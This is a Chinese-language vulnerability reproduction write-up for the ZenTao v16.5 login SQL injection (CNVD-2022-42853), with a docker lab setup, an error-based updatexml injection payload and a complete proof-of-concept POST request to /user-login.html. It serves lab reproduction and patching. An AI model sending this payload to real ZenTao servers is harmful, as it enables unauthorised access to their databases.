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76 lines
1.9 KiB
Markdown
76 lines
1.9 KiB
Markdown
# 禅道 v16.5 前台 SQL 注入 CNVD-2022-42853
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## 漏洞描述
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禅道项目管理系统 v16.5 版本未对输入的 account 参数内容作过滤校验，导致攻击者拼接恶意 SQL 语句执行。
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参考链接：
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- https://www.zentao.net/book/zentaoprohelp/41.html
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- https://www.zentao.net/book/zentaopms/405.html
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## 漏洞影响
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```
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禅道 16.5，16.5beta1（开源版）
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禅道 6.5，6.5beta1（企业版）
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禅道 3.0，3.0beta1（旗舰版）
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```
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## 环境搭建
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执行如下命令启动一个禅道 16.5 服务器：
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```
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docker compose up -d
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```
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docker-compose.yml
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```
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services:
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zentao:
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image: easysoft/zentao:16.5
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ports:
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- "8084:80"
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environment:
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- MYSQL_INTERNAL=true
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volumes:
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- /data/zentao:/data
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```
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服务启动后，访问 `http://your-ip:8084` 即可查看到安装页面，默认配置安装直至完成，数据库默认账号密码为 `root/123456`：
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## 漏洞复现
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报错型注入 payload：
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```
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admin' AND updatexml(1, concat(0x7e, (SELECT version()), 0x7e), 1) AND '1'='1
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```
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poc：
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```
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POST /user-login.html HTTP/1.1
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Host: your-ip:8084
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
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Accept-Encoding: gzip, deflate
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Content-Type: application/x-www-form-urlencoded
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Origin: http://your-ip:8084
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Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
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Referer: http://your-ip:8084/index.php
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Content-Length: 92
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account=admin%27+AND+updatexml%281%2C+concat%280x7e%2C+%28SELECT+version%28%29%29%2C+0x7e%29%2C+1%29+AND+%271%27%3D%271
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```
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## 漏洞修复
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升级至最新版本 https://www.zentao.net/
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